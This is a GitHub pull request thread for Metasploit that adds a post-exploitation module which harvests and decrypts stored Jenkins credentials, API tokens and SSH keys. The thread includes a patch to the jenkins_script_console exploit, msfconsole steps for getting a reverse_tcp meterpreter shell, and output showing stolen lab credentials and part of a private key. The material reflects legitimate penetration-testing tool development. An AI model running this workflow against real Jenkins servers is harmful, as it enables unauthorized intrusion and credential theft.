Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add post module multi/gather/jenkins #8627

Merged
merged 7 commits into from Aug 9, 2017

Conversation

thesubtlety
Copy link
Contributor

@thesubtlety thesubtlety commented Jun 28, 2017

This post module can be used to extract saved Jenkins credentials, user tokens, SSH keys, and secrets from Linux and Window. Interesting files will be stored in loot along with combined csv output. This module also decrypts both Jenkins version 1 and 2 encrypted strings.

How it works

  • Finds the installation path
  • Stores the decryption key material
  • Finds credentials and config files
  • Parses interesting info, decrypts stored secrets with key material
  • Pretty prints that output and saves to loot

I'm not really a developer and this is my first post module, so I'm sure there's lots of room for improvement in the code.

Verification

Tested and working with both meterpreter and (cmd) shell on Linux and Windows, although I've found cmd shell on Windows to be hit or miss.

Tested on

  • Ubuntu 16.04 and latest Jenkins Docker image: 2.67
  • Jenkins 2.60.1
  • Jenkins 1.56
  • Windows 7 SP1: Jenkins 2.67

Fixing jenkins_script_console to support Jenkins 2

As an aside to working with this post module, I noticed a bug in the jenkins_script_console exploit module. Not sure how I missed it when I added the API_TOKEN patch recently but sometime after Jenkins 2 was released the JSESSIONID implementation changed so for jenkins_script_console to work you'll need to change
line 183 sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0] to
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]

As a work around you can just specify a USERNAME and API_TOKEN.

Not sure if it warrants a PR given the quick fix - the following was working in my tests.

169c169,173
<       sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
---
>       if res.get_cookies.split('JSESSIONID').count > 2
>         sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
>       else
>         sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
>       end

Exploit

Set up Jenkins on Docker to obtain a shell

Run docker run -p 8080:8080 -p 50000:50000 jenkins
Default setup, install "suggested plugins", create new user admin, add a user or credential (via Manage Jenkins)

Start msfconsole

  • use exploit/multi/http/jenkins_script_console
  • set RHOST 172.17.0.1
  • set RPORT 8080
  • set TARGETURI /
  • set USERNAME admin
  • set PASSWORD or set API_TOKEN as work around to aforementioned bug
  • set TARGET 1
  • set PAYLOAD linux/x86/meterpreter/reverse_tcp
  • set LHOST 192.168.56.105
  • exploit -j
  • use post/multi/gather/jenkins_gather
  • set SESSION 1
  • run

Example Output

msf post(jenkins_gather) > sessions

Active sessions
===============

  Id  Type                     Information                                Connection
  --  ----                     -----------                                ----------
  18  shell x86/linux                                                     192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
  20  meterpreter x86/linux    uid=0, gid=0, euid=0, egid=0 @ 172.17.0.2  192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
  21  meterpreter x86/windows  NT AUTHORITY\SYSTEM @ kali                 192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
  23  shell x86/windows                                                   192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)

msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch: 
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user 
  tokens, SSH keys, and secrets. Interesting files will be stored in 
  loot along with combined csv output.


msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at C:\Program Files\Jenkins
[+] Credentials found - Username: user1 Password: Password123456
[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
[+] Job Info found  - Job Name:  User: testpass Password: secretpass123
[+] Job Info found  - Job Name:  User: testpass Password: ohwowosupersecret
[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
[*] Searching through job history for interesting bits...
[+] Job Log truffles:
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
C:\Program Files\Jenkins\jobs\asdf\builds\lastStableBuild\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\builds\lastStableBuild\log:"secret is secret"
C:\Program Files\Jenkins\jobs\asdf\builds\lastSuccessfulBuild\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\builds\lastSuccessfulBuild\log:"secret is secret"
C:\Program Files\Jenkins\jobs\asdf\lastStable\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\lastStable\log:"secret is secret"
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
[+] 
Creds
=====

 Username  Password           Description
 --------  --------           -----------
                                          
 testpass  secretpass123                   
 testpass  ohwowosupersecret  
 user1     Password123456     

[+] 
API Keys
========

 Username      API Tokens
 --------      ----------
 admin         8a114e0fa48c1a489c39b98e94c986c8
 useruseruser  6810c3f6ccca939ac2a8b8ac4b9de012

[+] 
Nodes
=====

 Node Name  Hostname             Port  Description   Cred Id
 ---------  --------             ----  -----------   -------
 test       hostnode1.lab.local  22    testtesttest  972fc428-dd7c-46ea-a119-be78ae0866ad

[+] SSH Key
[*]  ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
[*]  Description: interesting description
[*]  Passphrase:  secretpassphrase123
[*]  Username:    sshkey1
[*] 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
...snip...
7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
-----END RSA PRIVATE KEY-----

[*] Post module execution completed

Jenkins 2.67 on ubuntu

msf post(jenkins_gather) > set session 20
session => 18
msf post(jenkins_gather) > info

       Name: Jenkins Credential Collector
     Module: post/multi/gather/jenkins_gather
   Platform: Linux, Windows
       Arch: 
       Rank: Normal

Provided by:
  thesubtlety

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
  SESSION     17               yes       The session to run this module on.
  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).

Description:
  This module can be used to extract saved Jenkins credentials, user 
  tokens, SSH keys, and secrets. Interesting files will be stored in 
  loot along with combined csv output.

msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /root/.jenkins
[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
[*] Searching through job history for interesting bits...
[+] 
Creds
=====

 Username          Password         Description
 --------          --------         -----------
 thanksforthefish  whatagreatbook

[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 admin     9da706c125a4b5a4c19b1f799723175c
 user1     859e1d6ee6ab85804434fa5395ab962d

[*] Post module execution completed

@bwatters-r7
Copy link
Contributor

Hi there, @thesubtlety, thanks for the submission and welcome!
I'm going to move forward on testing this, but I would ask 2 things from you while I work on setting up the test environment:
(1) Please add documentation to this module in the form of a markdown document. If you want an example, check out #8559 or anything by @h00die. Basically, you already have most/all that you need in your great intro above, but we like that guidance to be in metasploit itself rather than just on github.
(2) Could you please read through https://github.com/rapid7/metasploit-framework/wiki/Using-Rubocop and run rubocop against this module?

If you have any trouble or questions, please drop a note in here!

@thesubtlety
Copy link
Contributor Author

thesubtlety commented Jul 19, 2017

Thanks, documentation added and fixed a number of the rubocop errors.

Regarding the "complexity too high" issues - parsing text is really ugly. I'd rather not do a bunch of refactoring, but let me know if it's an issue. Also a number of "useless assignment variable" issues which might be false positives given we're parsing text values that may not exist and I wanted to ensure I wasn't operating on nil values.

Let me know if you need anything else!

Edit: just noticed the bit about unless - I'm simply using them to prevent output if blanks, let me know if you'd like to see them go away.

Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestions and questions


def report_creds(user, pass)
return if user.empty? || pass.empty?
credential_data = {
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe the indention is off, here. The conditional statement above this line is a single line conditional statement

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ah you're right, fixed.

xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
username = ""
password = ""
description = ""
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there some benefit to assigning the empty string to these variables before you assign them values?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nope, dumb error on my part.

username = ""
description = ""
passphrase = ""
private_key = ""
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same question as before; why assign empty string to then assign over.


begin
k = OpenSSL::PKey::RSA.new(private_key, passphrase)
key = SSHKey.new(k, :passphrase => passphrase, :comment => cred_id)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do please use the new ruby hash syntax:
key = SSHKey.new(k, passphrase: passphrase, comment: cred_id)

case session.type
when 'meterpreter'
configs = ""
c = session.fs.file.search(path,"config.xml", recurse = true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse = true, timeout = -1))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

c = session.fs.file.search(path, "config.xml", recurse = true, timeout = -1).concat(session.fs.file.search(path, "build.xml", recurse = true, timeout = -1))
(Space after first parameter)
Also, this seems like a good candidate for splitting to multiple lines.

I'm no ruby ninja, so I am curious as to what is gained by assigning variable values while passing the parameter? Is it some kind of documentation strategy?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Split to multiple lines. Yeah, no reason aside from me not knowing the APIs and including the variable purpose. I can clean it up.

@bwatters-r7
Copy link
Contributor

@thesubtlety For the most part, don't worry too much about complexity warnings in rubocop. The whitespace (indention, spaces, etc) is far more important. I left some line comments/questions. Please take a look. I'm by no means a Ruby expert, so if I am wrong, let me know.

@thesubtlety
Copy link
Contributor Author

Sounds good, thanks. Appreciate the feedback and patience! If you see questionable things it's likely due to my own ignorance so feel free to call it out. I'll commit here shortly.

@bwatters-r7
Copy link
Contributor

Sorry for the delay; there was a small get-together in the desert.

I'm running into some issues testing this, and more than likely, it is due to my docker ignorance. If you could help me out, I would really appreciate it.

First attempt:

Target: Ubuntu 16.04x64 running Jenkins 2.60.2 in docker

Installation commands:

vmuser@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
vmuser@ubuntu:~$ docker pull jenkins/jenkins
Using default tag: latest
latest: Pulling from jenkins/jenkins

06b22ddb1913: Pull complete 
336c28b408ed: Pull complete 
1f3e6b8d80c3: Pull complete 
5ccc640979f6: Pull complete 
14eaa20184e6: Pull complete 
19a8522e2399: Pull complete 
39ba9d7befca: Pull complete 
635bf5037831: Pull complete 
d1236c277f1c: Pull complete 
7a78b93cc9d8: Pull complete 
8170dc0bb1c0: Pull complete 
548b2fd04a77: Pull complete 
63a28f5eb6d2: Pull complete 
e5420a6ed651: Pull complete 
3ba3fc1a82e5: Pull complete 
54b596984f80: Pull complete 
d7d896dd8005: Pull complete 
8864d6695acf: Pull complete 
31df819cfd7c: Pull complete 
251d4eff3e46: Pull complete 
Digest: sha256:0e3118880ed830ce43d6ba0cbbb2c93d04b1654e46db87fd2998a7583a0e1b08
Status: Downloaded newer image for jenkins/jenkins:latest
vmuser@ubuntu:~$ docker run -p 8080:8080 -p 50000:50000 jenkins
Unable to find image 'jenkins:latest' locally
latest: Pulling from library/jenkins

06b22ddb1913: Already exists 
336c28b408ed: Already exists 
1f3e6b8d80c3: Already exists 
5ccc640979f6: Already exists 
14eaa20184e6: Already exists 
19a8522e2399: Already exists 
39ba9d7befca: Already exists 
635bf5037831: Already exists 
d1236c277f1c: Already exists 
303ec27b7604: Pull complete 
9e1cac82c21d: Pull complete 
440e935975fb: Pull complete 
fba1ade64a5d: Pull complete 
57938a9f516b: Pull complete 
982ff86ad3f1: Pull complete 
40827cc30d17: Pull complete 
246ab91e549c: Pull complete 
23acef68f5f7: Pull complete 
4bc15b917d65: Pull complete 
b8a836f6aaf8: Pull complete 
Digest: sha256:5fa799942acb415aa8d59ee49ee25b488d79f4b23b6281f01e28a51f1bde6cbb
Status: Downloaded newer image for jenkins:latest
Running from: /usr/share/jenkins/jenkins.war

msfconsole:

[ruby-2.4.1@metasploit-framework](land-8627) tmoose@ubuntu:~/rapid7/metasploit-framework$ git diff modules/exploits/multi/http/jenkins_script_console.rb
diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb
index 1f0bb7a..f9d7e09 100644
--- a/modules/exploits/multi/http/jenkins_script_console.rb
+++ b/modules/exploits/multi/http/jenkins_script_console.rb
@@ -166,7 +166,11 @@ class MetasploitModule < Msf::Exploit::Remote
       if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
         fail_with(Failure::NoAccess, 'Login failed')
       end
-      sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
+      if res.get_cookies.split('JSESSIONID').count > 2
+         sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[2].split('; ')[0]
+      else
+         sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
+      end
       @cookie = "#{sessionid}"
 
       res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
[ruby-2.4.1@metasploit-framework](land-8627) tmoose@ubuntu:~/rapid7/metasploit-framework$ 
msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   <redacted>       no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.135.127  yes       The target address
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /jenkins/        yes       The path to the Jenkins-CI application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   firstuser        no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.111  yes       The listen address
   LPORT  4567             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux


msf exploit(jenkins_script_console) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Checking access to the script console
[*] Logging in...
[-] Exploit aborted due to failure: unexpected-reply: Unexpected reply from server
[*] Exploit completed, but no session was created.
msf exploit(jenkins_script_console) > 

Second Attempt

Same Ubuntu, same Jenkins, but I uploaded the payload manually and launched it as the regular username

msfconsole

msf post(jenkins_gather) > show options

Module options (post/multi/gather/jenkins_gather):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SEARCH_JOBS  false            no        Search through job history logs for interesting keywords. Increases runtime.
   SESSION      1                yes       The session to run this module on.
   STORE_LOOT   true             no        Store files in loot (will simply output file to console if set to false).

msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[-] Post failed: RuntimeError not-found: No Jenkins installation found or readable, exiting...
[-] Call stack:
[-]   /home/tmoose/rapid7/metasploit-framework/lib/msf/core/module.rb:292:in `fail_with'
[-]   /home/tmoose/rapid7/metasploit-framework/modules/post/multi/gather/jenkins_gather.rb:321:in `find_home'
[-]   /home/tmoose/rapid7/metasploit-framework/modules/post/multi/gather/jenkins_gather.rb:327:in `gathernix'
[-]   /home/tmoose/rapid7/metasploit-framework/modules/post/multi/gather/jenkins_gather.rb:347:in `run'
[*] Post module execution completed

Third Attempt

Same Ubuntu machine, but manual install of Jenkins

msfconsole:

msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.135.111:4567 
[*] Starting the payload handler...
[*] Sending stage (2849784 bytes) to 192.168.135.126
[*] Meterpreter session 1 opened (192.168.135.111:4567 -> 192.168.135.126:36206) at 2017-08-02 09:15:06 -0500

meterpreter > sysinfo
Computer     : 192.168.135.126
OS           : Ubuntu 16.04 (Linux 4.4.0-87-generic)
Architecture : x64
Meterpreter  : x64/linux
meterpreter > background
msf exploit(handler) > use post/multi/gather/jenkins_gather 
msf post(jenkins_gather) > set session 1
session => 1
msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /home/brendan/.jenkins
[-] Could not read credentials.xml...
[+] API Token found - Username: admin Token: <redacted>
[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 admin     <redacted>

[*] Post module execution completed

Not sure what I'm doing wrong. I assume that when I'm running the payload manually with the docker install, there's some docker magic preventing me from accessing the installation?
For the exploit, again, not sure if I misunderstood the changes required or what...

@mpizala
Copy link
Contributor

mpizala commented Aug 2, 2017

@bwatters-r7 in your first attempt the TARGETURI is wrong. In that docker image the path to jenkins is /.

In addition, Jenkins created the credentials.xml file while adding the first credentials (not to be confused with jenkins user). To add a credential goto : Jenkins -> Credentials -> System -> Global credentials (unrestricted) and then "Add Credentials".

The error message is misleading because the file does not exist.

@thesubtlety
Copy link
Contributor Author

thesubtlety commented Aug 2, 2017

No worries, we probably passed each other in the halls.

Regarding Attempt 1 - verify your TARGETURI is correct. I can reproduce the error you're seeing if it's incorrect. With the following setup, my TARGETURI is just / and can be verified by browsing to http://yourip:8080/

-> % uname -a
Linux hostname 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
-> % sudo docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:latest
# ... set up Jenkins (install "recommended plugins", add user, add a credential)

Regarding Attempt 2 - that is odd. Running as the jenkins user? You can log into the docker image and verify the permissions etc.

  • Get the docker instance: sudo docker ps
  • Log into that instance: sudo docker exec -u 0 -it <hash from above> bash
  • Find the file: find / -name 'secret.key.not-so-secret'

Regarding Attempt 3 - this is running correctly it seems. If the install path is found and the token is decrypted, things are working as expected. The credentials.xml file won't be found if there are no credentials saved though and same with job configurations. Go to http://172.17.0.1:8080/credentials/store/system/domain/_/newCredentials and add/save one and rerun the module. I'll update the error message to clarify the file may not exist vs could not be read.

Edit: ninja'd by mpizala!

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Aug 2, 2017

Heh.... well crap. I absolutely should have seen the targeturi; you even had it in the steps! Sorry about that. Otherwise, it was my Jenkins ignorance that had me in trouble. Thanks for the quick correction, @mpizala and @thesubtlety!

Testing

msf exploit(jenkins_script_console) > show options

Module options (exploit/multi/http/jenkins_script_console):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   <redacted>       no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.135.127  yes       The target address
   RPORT      8080             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path to the Jenkins-CI application
   URIPATH                     no        The URI to use for this exploit (default is random)
   USERNAME   firstuser        no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.135.111  yes       The listen address
   LPORT  4561             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux


msf exploit(jenkins_script_console) > run

[*] Started reverse TCP handler on 192.168.135.111:4561 
[*] Checking access to the script console
[*] Logging in...
[*] Using CSRF token: 'ca602130c9e4f6ccce1c218f63aa3bcd' (Jenkins-Crumb style)
[*] 192.168.135.127:8080 - Sending Linux stager...
[*] Sending stage (797784 bytes) to 192.168.135.127
[*] Meterpreter session 1 opened (192.168.135.111:4561 -> 192.168.135.127:57226) at 2017-08-02 17:35:28 -0500
[!] Deleting /tmp/nmr6 payload file

meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 9.1 (Linux 4.4.0-31-generic)
Architecture : x64
Meterpreter  : x86/linux
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > background
[*] Backgrounding session 1...
msf exploit(jenkins_script_console) > use post/multi/gather/jenkins_gather 
msf post(jenkins_gather) > set session 1
session => 1
msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /var/jenkins_home
[+] Credentials found - Username: test Password: test
[+] API Token found - Username: first Token: <redacted>
[+] 
Creds
=====

 Username  Password  Description
 --------  --------  -----------
 test      test      testing

[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 first     <redacted>

[*] Post module execution completed

There a re a couple more things I want to poke at, but this gets me back on track. Thanks again!

@bwatters-r7
Copy link
Contributor

testing with database

msf post(jenkins_gather) > run

[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /var/jenkins_home
[+] Credentials found - Username: credtest Password: credtest
[+] API Token found - Username: test Token: <lolhaha>
[+] 
Creds
=====

 Username  Password  Description
 --------  --------  -----------
 credtest  credtest  

[+] 
API Keys
========

 Username  API Tokens
 --------  ----------
 test      <lolhaha>

[*] Post module execution completed
msf post(jenkins_gather) > creds
Credentials
===========

host  origin  service  public    private                           realm  private_type
----  ------  -------  ------    -------                           -----  ------------
                       test      <lolhaha>                                Password
                       credtest  credtest                                 Password

@bwatters-r7 bwatters-r7 merged commit 7d03368 into rapid7:master Aug 9, 2017
@bwatters-r7
Copy link
Contributor

@thesubtlety, I pushed this jenkins gather module, but would prefer to address the jenkins exploit fix in another PR. If you put one up, I'll go ahead and test/land today.

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Aug 9, 2017

Release Notes

The ability to gather saved Jenkins credentials, user tokens, SSH keys, and secrets has been added for Linux and Windows.

@thesubtlety
Copy link
Contributor Author

Thanks @bwatters-r7 ! See #8816 for that fix.

@alrosenthal-r7 alrosenthal-r7 added the rn-enhancement release notes enhancement label Aug 16, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants